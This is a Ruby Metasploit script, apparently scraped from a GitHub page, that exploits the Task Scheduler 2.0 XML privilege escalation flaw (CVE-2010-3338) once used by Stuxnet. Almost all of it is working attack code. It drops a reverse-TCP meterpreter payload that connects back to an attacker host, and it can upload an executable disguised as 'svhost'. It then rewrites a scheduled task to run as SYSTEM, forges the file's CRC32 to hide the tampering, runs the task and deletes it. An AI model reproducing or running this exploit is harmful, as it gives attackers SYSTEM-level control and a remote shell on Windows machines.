-
Notifications
You must be signed in to change notification settings - Fork 0
/
schelevator.rb
380 lines (333 loc) · 10.7 KB
/
schelevator.rb
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
320
321
322
323
324
325
326
327
328
329
330
331
332
333
334
335
336
337
338
339
340
341
342
343
344
345
346
347
348
349
350
351
352
353
354
355
356
357
358
359
360
361
362
363
364
365
366
367
368
369
370
371
372
373
374
375
376
377
378
379
380
##
#
# This script exploits the Task Scheduler 2.0 XML 0day exploited by Stuxnet
#
# Disclosed around Oct 22, 2010
#
# written by jduck
#
# NOTE: Thanks to webDEViL for the information about disable/enable.
# http://www.exploit-db.com/exploits/15589/
#
# CVE 2010-3338
# MSB MS10-092
#
##
require 'zlib'
#
# Filter out sessions that this definitely won't work on.
#
if session.platform !~ /win32|win64|java/
print_error("#{session.platform} is not supported.")
raise Rex::Script::Completed
end
if session.sys.config.sysinfo["Architecture"] =~ /wow64/i
#
# WOW64 Filesystem Redirection prevents us opening the file directly. To make matters
# worse, meterpreter/railgun creates things in a new thread, making it much more
# difficult to disable via Wow64EnableWow64FsRedirection. Until we can get around this,
# offer a workaround and error out.
#
print_error("Running against via WOW64 is not supported, try using an x64 meterpreter...")
raise Rex::Script::Completed
end
vuln = false
winver = session.sys.config.sysinfo["OS"]
affected = [ 'Windows Vista', 'Windows 7', 'Windows 2008' ]
affected.each { |v|
if winver.include? v
vuln = true
break
end
}
if not vuln
print_error("#{winver} is not vulnerable.")
raise Rex::Script::Completed
end
#
# We have a chance to succeed, check params
#
@@exec_opts = Rex::Parser::Arguments.new(
"-h" => [ false, "Help menu." ],
"-c" => [ true, "Execute the specified command" ],
"-u" => [ true, "Upload and execute the specified file" ],
"-r" => [ true, "The IP of the system running Metasploit listening for the connect back"],
"-p" => [ true, "The port on the remote host where Metasploit is listening"],
"-t" => [ true, "Use the specified task name" ]
)
def usage
print_line("Schelevator -- Exploit for Windows Vista/7/2008 Task Scheduler 2.0 Privilege Escalation")
print(@@exec_opts.usage)
raise Rex::Script::Completed
end
rhost = Rex::Socket.source_address
rport = 4444
taskname = nil
cmd = nil
upload_fn = nil
@@exec_opts.parse(args) { |opt, idx, val|
case opt
when "-c"
cmd = val
when "-u"
upload_fn = val
if not ::File.exists?(upload_fn)
raise "Specified file to upload does not exist!"
end
when "-t"
taskname = val
when "-h"
usage
when "-r"
rhost = val
when "-p"
rport = val.to_i
end
}
# Must have at least one of -c or -u
if not cmd and not upload_fn
print_status("Using default reverse-connect meterpreter payload; -c or -u not specified")
# Get the exe payload.
pay = client.framework.payloads.create("windows/meterpreter/reverse_tcp")
pay.datastore['LHOST'] = rhost
pay.datastore['LPORT'] = rport
raw = pay.generate
exe = Msf::Util::EXE.to_win32pe(client.framework, raw)
#and placing it on the target in %TEMP%
tempdir = client.fs.file.expand_path("%TEMP%")
tempexename = Rex::Text.rand_text_alpha(rand(8)+6)
cmd = tempdir + "\\" + tempexename + ".exe"
print_status("Preparing connect back payload to host #{rhost} and port #{rport} at #{cmd}")
fd = client.fs.file.new(cmd, "wb")
fd.write(exe)
fd.close
#get handler to be ready
handler = client.framework.exploits.create("multi/handler")
handler.datastore['PAYLOAD'] = "windows/meterpreter/reverse_tcp"
handler.datastore['LHOST'] = rhost
handler.datastore['LPORT'] = rport
handler.datastore['InitialAutoRunScript'] = "migrate -f"
handler.datastore['ExitOnSession'] = false
#start a handler to be ready
handler.exploit_simple(
'Payload' => handler.datastore['PAYLOAD'],
'RunAsJob' => true
)
end
if cmd
print_status("Using command: #{cmd}")
end
#
# Upload the payload command if needed
#
sysdir = session.fs.file.expand_path("%SystemRoot%")
tmpdir = session.fs.file.expand_path("%TEMP%")
if upload_fn
begin
location = tmpdir.dup
ext = upload_fn.split('.')
if ext
ext = ext.last.downcase
if ext == "exe"
location << "\\svhost#{rand(100)}.exe"
else
location << "\\TMP#{rand(100)}.#{ext}"
end
else
location << "\\TMP#{rand(100)}"
end
print_status("Uploading #{upload_fn} to #{location}....")
session.fs.file.upload_file(location, upload_fn)
print_status("Upload complete.")
rescue ::Exception => e
print_error("Error uploading file #{upload_fn}: #{e.class} #{e}")
raise e
end
cmd ||= location
end
def crc32(data)
table = Zlib.crc_table
crc = 0xffffffff
data.unpack('C*').each { |b|
crc = table[(crc & 0xff) ^ b] ^ (crc >> 8)
}
crc
end
def fix_crc32(data, old_crc)
#
# CRC32 stuff from ESET (presumably reversed from Stuxnet, which was presumably
# reversed from Microsoft's code)
#
bwd_table = [
0x00000000, 0xDB710641, 0x6D930AC3, 0xB6E20C82,
0xDB261586, 0x005713C7, 0xB6B51F45, 0x6DC41904,
0x6D3D2D4D, 0xB64C2B0C, 0x00AE278E, 0xDBDF21CF,
0xB61B38CB, 0x6D6A3E8A, 0xDB883208, 0x00F93449,
0xDA7A5A9A, 0x010B5CDB, 0xB7E95059, 0x6C985618,
0x015C4F1C, 0xDA2D495D, 0x6CCF45DF, 0xB7BE439E,
0xB74777D7, 0x6C367196, 0xDAD47D14, 0x01A57B55,
0x6C616251, 0xB7106410, 0x01F26892, 0xDA836ED3,
0x6F85B375, 0xB4F4B534, 0x0216B9B6, 0xD967BFF7,
0xB4A3A6F3, 0x6FD2A0B2, 0xD930AC30, 0x0241AA71,
0x02B89E38, 0xD9C99879, 0x6F2B94FB, 0xB45A92BA,
0xD99E8BBE, 0x02EF8DFF, 0xB40D817D, 0x6F7C873C,
0xB5FFE9EF, 0x6E8EEFAE, 0xD86CE32C, 0x031DE56D,
0x6ED9FC69, 0xB5A8FA28, 0x034AF6AA, 0xD83BF0EB,
0xD8C2C4A2, 0x03B3C2E3, 0xB551CE61, 0x6E20C820,
0x03E4D124, 0xD895D765, 0x6E77DBE7, 0xB506DDA6,
0xDF0B66EA, 0x047A60AB, 0xB2986C29, 0x69E96A68,
0x042D736C, 0xDF5C752D, 0x69BE79AF, 0xB2CF7FEE,
0xB2364BA7, 0x69474DE6, 0xDFA54164, 0x04D44725,
0x69105E21, 0xB2615860, 0x048354E2, 0xDFF252A3,
0x05713C70, 0xDE003A31, 0x68E236B3, 0xB39330F2,
0xDE5729F6, 0x05262FB7, 0xB3C42335, 0x68B52574,
0x684C113D, 0xB33D177C, 0x05DF1BFE, 0xDEAE1DBF,
0xB36A04BB, 0x681B02FA, 0xDEF90E78, 0x05880839,
0xB08ED59F, 0x6BFFD3DE, 0xDD1DDF5C, 0x066CD91D,
0x6BA8C019, 0xB0D9C658, 0x063BCADA, 0xDD4ACC9B,
0xDDB3F8D2, 0x06C2FE93, 0xB020F211, 0x6B51F450,
0x0695ED54, 0xDDE4EB15, 0x6B06E797, 0xB077E1D6,
0x6AF48F05, 0xB1858944, 0x076785C6, 0xDC168387,
0xB1D29A83, 0x6AA39CC2, 0xDC419040, 0x07309601,
0x07C9A248, 0xDCB8A409, 0x6A5AA88B, 0xB12BAECA,
0xDCEFB7CE, 0x079EB18F, 0xB17CBD0D, 0x6A0DBB4C,
0x6567CB95, 0xBE16CDD4, 0x08F4C156, 0xD385C717,
0xBE41DE13, 0x6530D852, 0xD3D2D4D0, 0x08A3D291,
0x085AE6D8, 0xD32BE099, 0x65C9EC1B, 0xBEB8EA5A,
0xD37CF35E, 0x080DF51F, 0xBEEFF99D, 0x659EFFDC,
0xBF1D910F, 0x646C974E, 0xD28E9BCC, 0x09FF9D8D,
0x643B8489, 0xBF4A82C8, 0x09A88E4A, 0xD2D9880B,
0xD220BC42, 0x0951BA03, 0xBFB3B681, 0x64C2B0C0,
0x0906A9C4, 0xD277AF85, 0x6495A307, 0xBFE4A546,
0x0AE278E0, 0xD1937EA1, 0x67717223, 0xBC007462,
0xD1C46D66, 0x0AB56B27, 0xBC5767A5, 0x672661E4,
0x67DF55AD, 0xBCAE53EC, 0x0A4C5F6E, 0xD13D592F,
0xBCF9402B, 0x6788466A, 0xD16A4AE8, 0x0A1B4CA9,
0xD098227A, 0x0BE9243B, 0xBD0B28B9, 0x667A2EF8,
0x0BBE37FC, 0xD0CF31BD, 0x662D3D3F, 0xBD5C3B7E,
0xBDA50F37, 0x66D40976, 0xD03605F4, 0x0B4703B5,
0x66831AB1, 0xBDF21CF0, 0x0B101072, 0xD0611633,
0xBA6CAD7F, 0x611DAB3E, 0xD7FFA7BC, 0x0C8EA1FD,
0x614AB8F9, 0xBA3BBEB8, 0x0CD9B23A, 0xD7A8B47B,
0xD7518032, 0x0C208673, 0xBAC28AF1, 0x61B38CB0,
0x0C7795B4, 0xD70693F5, 0x61E49F77, 0xBA959936,
0x6016F7E5, 0xBB67F1A4, 0x0D85FD26, 0xD6F4FB67,
0xBB30E263, 0x6041E422, 0xD6A3E8A0, 0x0DD2EEE1,
0x0D2BDAA8, 0xD65ADCE9, 0x60B8D06B, 0xBBC9D62A,
0xD60DCF2E, 0x0D7CC96F, 0xBB9EC5ED, 0x60EFC3AC,
0xD5E91E0A, 0x0E98184B, 0xB87A14C9, 0x630B1288,
0x0ECF0B8C, 0xD5BE0DCD, 0x635C014F, 0xB82D070E,
0xB8D43347, 0x63A53506, 0xD5473984, 0x0E363FC5,
0x63F226C1, 0xB8832080, 0x0E612C02, 0xD5102A43,
0x0F934490, 0xD4E242D1, 0x62004E53, 0xB9714812,
0xD4B55116, 0x0FC45757, 0xB9265BD5, 0x62575D94,
0x62AE69DD, 0xB9DF6F9C, 0x0F3D631E, 0xD44C655F,
0xB9887C5B, 0x62F97A1A, 0xD41B7698, 0x0F6A70D9
]
crc = crc32(data[0, data.length - 12])
data[-12, 4] = [crc].pack('V')
data[-12, 12].unpack('C*').reverse.each { |b|
old_crc = ((old_crc << 8) ^ bwd_table[old_crc >> 24] ^ b) & 0xffffffff
}
data[-12, 4] = [old_crc].pack('V')
end
def exec_schtasks(cmdline, purpose)
lns = cmd_exec("cmd.exe /c " + cmdline + " && echo SCHELEVATOR")
success = false
lns.each_line { |ln|
ln.chomp!
if ln =~ /^SCHELEVATOR$/
success = true
else
print_status(ln)
end
}
raise "Unable to #{purpose}!" if not success
end
def read_task_file(taskname, taskfile)
print_status("Reading the task file contents from #{taskfile}...")
# Can't read the file directly on 2008?
content = ''
fd = client.fs.file.new(taskfile, "rb")
until fd.eof?
content << fd.read
end
fd.close
content
end
#
# Create a new task to do our bidding, but make sure it doesn't run.
#
taskname ||= Rex::Text.rand_text_alphanumeric(8+rand(8))
taskfile = "#{sysdir}\\system32\\tasks\\#{taskname}"
print_status("Creating task: #{taskname}")
cmdline = "schtasks.exe /create /tn #{taskname} /tr \"#{cmd}\" /sc monthly /f"
exec_schtasks(cmdline, "create the task")
#
# Read the contents of the newly creates task file
#
content = read_task_file(taskname, taskfile)
#
# Double-check that we got what we expect.
#
if content[0,2] != "\xff\xfe"
#
# Convert to unicode, since it isn't already
#
content = content.unpack('C*').pack('v*')
else
#
# NOTE: we strip the BOM here to exclude it from the crc32 calculation
#
content = content[2,content.length]
end
#
# Record the crc32 for later calculations
#
old_crc32 = crc32(content)
print_status("Original CRC32: 0x%x" % old_crc32)
#
# Convert the file contents from unicode
#
content = content.unpack('v*').pack('C*')
#
# Mangle the contents to now run with SYSTEM privileges
#
content.gsub!('LeastPrivilege', 'HighestAvailable')
content.gsub!(/<UserId>.*<\/UserId>/, '<UserId>S-1-5-18</UserId>')
content.gsub!(/<Author>.*<\/Author>/, '<Author>S-1-5-18</Author>')
#content.gsub!('<LogonType>InteractiveToken</LogonType>', '<LogonType>Password</LogonType>')
content.gsub!('Principal id="Author"', 'Principal id="LocalSystem"')
content.gsub!('Actions Context="Author"', 'Actions Context="LocalSystem"')
content << "<!-- ZZ -->"
#
# Convert it back to unicode
#
content = Rex::Text.to_unicode(content)
#
# Fix it so the CRC matches again
#
fix_crc32(content, old_crc32)
new_crc32 = crc32(content)
print_status("Final CRC32: 0x%x" % new_crc32)
#
# Write the new content back
#
print_status("Writing our modified content back...")
fd = client.fs.file.new(taskfile, "wb")
fd.write "\xff\xfe" + content
fd.close
#
# Run the task :-)
#
print_status("Disabling the task...")
exec_schtasks("schtasks.exe /change /tn #{taskname} /disable", "disable the task")
print_status("Enabling the task...")
exec_schtasks("schtasks.exe /change /tn #{taskname} /enable", "enable the task")
print_status("Executing the task...")
exec_schtasks("schtasks.exe /run /tn #{taskname}", "run the task")
#
# And delete it.
#
print_status("Deleting the task...")
exec_schtasks("schtasks.exe /delete /f /tn #{taskname}", "delete the task")